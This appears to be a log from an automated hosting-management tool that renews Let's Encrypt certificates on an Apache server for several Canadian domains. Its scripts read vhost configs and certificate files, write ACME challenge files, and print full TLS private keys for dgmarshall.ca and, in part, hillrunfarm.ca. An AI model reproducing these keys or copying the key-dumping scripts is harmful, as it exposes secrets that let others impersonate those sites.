         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:01:09: 

PUT: /tmp/pkp630284

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:01:09: 

chmod 755 /tmp/pkp630284; /tmp/pkp630284; rm /tmp/pkp630284

2026-06-14 06:01:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf	1500

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>







2026-06-14 06:01:09: 

PUT: /tmp/pkp612168

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:01:09: 

chmod 755 /tmp/pkp612168; /tmp/pkp612168; rm /tmp/pkp612168

2026-06-14 06:01:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt	7424
90:58:45:ca:26:5d:db:d4:c2:32:7b:0c:99:2b:21:73

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBSjEqPAn+mIvpc8Getx3B87zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMjM1WhcNMjYwOTEyMDUwMjM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
tMkXOrkq0WSdWsUPoTptVXWE75OjA/bhmaabKtjxgnq5K3GrX0U/HOa52mtS6xzb
7AI6AxAqqFNFxDiEazaRe9osC1tkI70Dg+I9ZBHCyGqeNTtdNkvXO+8jWyiDicbM
iblpSItsaMNVWWA8mLHjWNzl/iJ1yL/ChfnRQbfWQec+DY8ZNt7VS4dKmvvjRQjX
2LqHPi/GmhXdkEbjhEJiq/cYSpyaEzrirSIJ/LpAWI2jJEGHXpIvLRIp/NoFLtjf
y/k63OQb031goDWaBqx3+HTu9sm4eb+JHUq6vTZ8tUqsw+usLb7Y8esdQdGE43dO
WcOgw6uy9F/WL10McW7b6QIDAQABo4ICJjCCAiIwDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFJlKzICN
tlunshI3gyFv4AeASKeeMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+BDIEM
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINZGdtYXJzaGFsbC5jYYIRd3d3LmRnbWFyc2hhbGwu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDov
L3lyMi5jLmxlbmNyLm9yZy8xMTYuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDv
AHYAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGexLgv6gAABAMA
RzBFAiBAQD6HmKvrt1jqFsDwb+WlDyvnov5hhCjJwKrHmd5FqgIhAMTSpkSHwDBp
8tGjb08vXaSokrdQCJSihKZEbd5+1Hl/AHUAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGexLg3mwAABAMARjBEAiBDnoemjpCAMqzQ7hHwIxulmk9s
aIh74S42G07THmSxEAIgP9V87VXMnlsRsFsPNk/PN1Z4YiK7Tr3phEa12F+BNfkw
DQYJKoZIhvcNAQELBQADggEBAJFKgVh7ZKeLKTB/kIb5EnuGA7NnRtTQ9wD1RJ1Y
XhMRvaDmP4gBZxwWPmyCqIfRU/Xo7ToJejxMdw4BrYyH9Myk5QsHrV3JAQq+yXVc
PLIUxMu2jZrLv3EMJGMMCRBM+OeNM11wkL0WOFCHESfMlpB09B4DcNV8F+osrB/J
Aj1vugMQPYzw0j3tb8+jmw/jlhR21n5VddiRT15JYCNsxKSba09uWo8zgb8fcaWZ
qydzeaYULvLBIlj4pIzia/xHoeQxiTws7zrb/3eadf+PLXkU1dVNGXd7M1EtJuj7
MaT4U3j7cimBREQ3OJfCJvZIcC7qGVeCgCzKUbpHAo6Mess=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC0yRc6uSrRZJ1a
xQ+hOm1VdYTvk6MD9uGZppsq2PGCerkrcatfRT8c5rnaa1LrHNvsAjoDECqoU0XE
OIRrNpF72iwLW2QjvQOD4j1kEcLIap41O102S9c77yNbKIOJxsyJuWlIi2xow1VZ
YDyYseNY3OX+InXIv8KF+dFBt9ZB5z4Njxk23tVLh0qa++NFCNfYuoc+L8aaFd2Q
RuOEQmKr9xhKnJoTOuKtIgn8ukBYjaMkQYdeki8tEin82gUu2N/L+Trc5BvTfWCg
NZoGrHf4dO72ybh5v4kdSrq9Nny1SqzD66wtvtjx6x1B0YTjd05Zw6DDq7L0X9Yv
XQxxbtvpAgMBAAECggEAAy5RHHFG37eQnbjfKyfxJcprMAB14zNYOZkA/K5jxHcW
lD08JdFc+IwWO9G83CJuO6832Fcz2vGZJghVCyJjCa33ba06XDcejVbhG+ZEmjxn
A3qDi7mmpDkzUu6p7tYKwgcbQ0Ghww+hzDBpbInfvU/os5GlZyZ5nJweSpTanh70
/+/QXzWd1LwK5TfE+7eTMIY/XMj/IRmJB0deE2mbJBuhU8C15QnNsILfg657UUgw
u1dpul3ETi4SS1rdHMb/QCMbdw44o1rdPpN8csu4Eh1eRCKaBO1Rw0YcTwc2Thzs
Fpp16fOosS2r7HicaLiMLF6cwTl/hY4icDPAhMz2MQKBgQDuonMeoPfX2j2ci1AO
UtR6x1ty8rIY4AjenXvcDU/FkjfqNRh7Je5uhEdA2aeR4qoswZI5PLUto3aSlLd3
zR5DKeddIUnlXjOqk5k8UxlR/6uWWYpbFMHfMoCQ90c2nMk+nzandJINuSTKvLcv
wc1+L1ffrK/5KFaEoMx27WzkEQKBgQDB8PbkExaSzU8zgwy4ZMYvs4E82+/O81/4
Pwwb6QSjxMwZNrmstJZ4QJhmf7u9IzeuxI6ZeAfCaqM6g4uYiLHA0WN1THKDlo97
ZccuC+VR6Qmkpn123P4tNnA7ju2eNxeESGI04+UU9rPtwNelgc0ir9aYMZh2YPek
kVNKDMRyWQKBgHmDx1MlbI9B1nXMiuuASiprMaoK452/F0UktFmNfb2Bg2+Dsf+j
hRJJ0W64Zpfm7/jyaN80hp3CyzJBAFvE21AgGmxV8ycVHQITPsh1GEOlCV76IXXX
0BEzyjwHbv/kPqXgtRf4SBcs3AtQpYdwDI/g08JWURVy8PuAVh2JMRXBAoGATxbb
OCtomzlKwTECMPg3siA75fuzEexCCNR9NayTDc4lhWrB0WJbsnJ1M+eHQhxoisbx
eDhwwaIHKseWV//2rTE2pBEm6e6uWJ4q2eZUAFFOc2zJ4X1B0mJO5prk4A6LcpCq
K/N76k6pFZ380yvZ4flfQ/WFvVDR7LSvCJWoTxECgYEA5kgAHtZVvO7qztKf8mUX
xNe/AosswXxNRPO5YexSimktGrcNyUtzop3OvlDIkbRv13PCpuI99PTcT3Rr476a
A3uPAEfWEZmFoZbcK5LM3PHFnRYUmCWoGSk51sv2a7zU358gSf8uRZ4AY7eVu5Nr
LrdUFhCankbDwIUaB7TltbE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-14 06:01:09: Establishing a connection
2026-06-14 06:01:09: Establishing a connection
2026-06-14 06:01:09: 

PUT: /tmp/pkp427069

#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:01:10: 

chmod 755 /tmp/pkp427069; /tmp/pkp427069; rm /tmp/pkp427069

2026-06-14 06:01:10: 


1


2026-06-14 06:01:10: Establishing a connection
2026-06-14 06:01:10: 

PUT: /tmp/pkp916225

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > Kr8RE3LaFGqJZ9Bh_GtN_XOHhoRX0rJb8L9yA_XXopQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Kr8RE3LaFGqJZ9Bh_GtN_XOHhoRX0rJb8L9yA_XXopQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Kr8RE3LaFGqJZ9Bh_GtN_XOHhoRX0rJb8L9yA_XXopQ
cat > 87gX5qilXqMeTJAiV_L-EjE5gc2QQwuyvIHXqzssdaQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
87gX5qilXqMeTJAiV_L-EjE5gc2QQwuyvIHXqzssdaQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 87gX5qilXqMeTJAiV_L-EjE5gc2QQwuyvIHXqzssdaQ


2026-06-14 06:01:10: 

chmod 755 /tmp/pkp916225; /tmp/pkp916225; rm /tmp/pkp916225

2026-06-14 06:01:10: 




2026-06-14 06:01:22: Establishing a connection
2026-06-14 06:01:22: 

PUT: /tmp/pkp464802

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm Kr8RE3LaFGqJZ9Bh_GtN_XOHhoRX0rJb8L9yA_XXopQ
rm 87gX5qilXqMeTJAiV_L-EjE5gc2QQwuyvIHXqzssdaQ


2026-06-14 06:01:22: 

chmod 755 /tmp/pkp464802; /tmp/pkp464802; rm /tmp/pkp464802

2026-06-14 06:01:22: 




2026-06-14 06:01:22: Establishing a connection
2026-06-14 06:01:22: 

PUT: /tmp/pkp447993

#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt

cat > $temp_file <<'endmsg'
33:cc:84:44:c2:1b:93:6a:73:a9:a5:7f:c1:4d:db:d0

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBbYCCkcRkB8+WAfudNwAElwxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMjUwWhcNMjYwOTEyMDUwMjQ5WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALo2uqrKNCgRsqwN2Cc2YLvYemOFBypMYE5dHcmHwM4xx/RvUKGhdhULF1++ZK2D
0rxtgIGo8GQmhcaZmNJdmQklNceDC7ZWctf+B6v+IdfzIv0lS5LSIdULHUNWXDQk
+LKQysV09tNUaMFdhaGrTwHWtZtqk8mo++3hxOjtxXzlRRIFJG6zRyBiTRf52NC+
pKySC6OkZMuzwQMJiSeCvR0mdUrZSGM/Q26rK0sLFnNgyZ8x5MF4yhfd5k+rLHfM
y3NkQB+91E0u2psdApUAb8pNOwxFlZuTlp8TLnmVlOcNprIbizeJY2w48ivlZaAQ
e0MbwVekAFmSdsfFt/GFwcECAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRytnX2
mmwPiXPWXn+UuQimqjO8rzAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmhpbGxydW5mYXJtLmNhghJ3d3cuaGlsbHJ1bmZh
cm0uY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy81MC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdQCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ7EuGl7AAAE
AwBGMEQCIAiytyBY17Qx3SDF7n+3o+Qh/Nar2dQPUhweKtk1IiM3AiA1wYKZB0wX
UJ6E33xE1UDZIgAeRr8h0TwfUlDfyAfaZAB+ACbjZG5YaSEjvDQ/RyQ1mzeSzSRa
iNgV05Mz/ZkYq0cjAAABnsS4Z8EACAAABQAdbiiTBAMARzBFAiAKPGHc4i5EGyGJ
B7PiNh0rOcfC/Y9o7KIRaAtLpBB+qAIhALnkHcjApVETjEZx6dKdWzC2JMbACW2H
w4veqZwoCx1cMA0GCSqGSIb3DQEBCwUAA4IBAQC1r2/ROXbzdkY4Ioy16JRUs+JT
baxlDZydHVvrJAs3CgpErxYkOXXUP/IcjxMKUPK3X+Ewh8RaLh0XJXa9gr86newk
S2jgvaeUDFGvdpGdKhf3BIIZVll0af7lkub988sktqbw3xYZwHU6KvY4sAOSfNjB
+tFtGUfhZ2dYmTWw1hBqcAIgZ82PuaZsX0QcpowZkVyfr0eWBUpAPLnvhR/ilxE8
1ogELcVAQM9/69Ku2duLfoxod/bK336WKuRGvCtfl5E5cWqkkBwFamugoDt43zuz
eIv3Ns4b3CRPYFA6vbvr1CPWvN7DlHuvk+qozI8pVisr96PJIjNbwZGSULGl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC6NrqqyjQoEbKs
DdgnNmC72HpjhQcqTGBOXR3Jh8DOMcf0b1ChoXYVCxdfvmStg9K8bYCBqPBkJoXG
mZjSXZkJJTXHgwu2VnLX/ger/iHX8yL9JUuS0iHVCx1DVlw0JPiykMrFdPbTVGjB
XYWhq08B1rWbapPJqPvt4cTo7cV85UUSBSRus0cgYk0X+djQvqSskgujpGTLs8ED
CYkngr0dJnVK2UhjP0NuqytLCxZzYMmfMeTBeMoX3eZPqyx3zMtzZEAfvdRNLtqb
HQKVAG/KTTsMRZWbk5afEy55lZTnDaayG4s3iWNsOPIr5WWgEHtDG8FXpABZknbH
xbfxhcHBAgMBAAECggEAGznRRRNXWNxtkTZc+i67KfvWuSJED+0mz45Rwpt0lzE0
GQsFcPxYdW8vtbHyqmPxtdcUyOBYdWwkdwsSCv/gVjP4jvkcB0bQd8AOgxke/aHw
5a5ERG0wwSNk3emMhZs6OXFuFDyrse5PeqYf2algXdZ0qwqEHSH146v0zFGnZEEp
S4cOnTEgyOSCpA8hb7E/i1UrRu9YDWbJKOlxFAFZyHxebZs4e+3Q5CpKrtVCCT2b
sFLyl9YCQh63L2LM1s1L91jC2oOD02i9NhRqgmSXUHZni822x4B+7ruZ8HyD2I6P
0iabdKRBf0R+9PExfctms0aWqtkyZtBUrkvcac5woQKBgQDnBeOI5MXxfcLlRqLj
1yD9DXT7RGZgHWDUub5AuXd81TkvUjtml7eM9g6SU7DNzEVPUdNa6w/BXWefVCnc
uiJbjNHabLBWqgizvBiJvnrWOu3B679eAxPMZapLNq3ycTkXtHNPvaGT3RnHwcSF
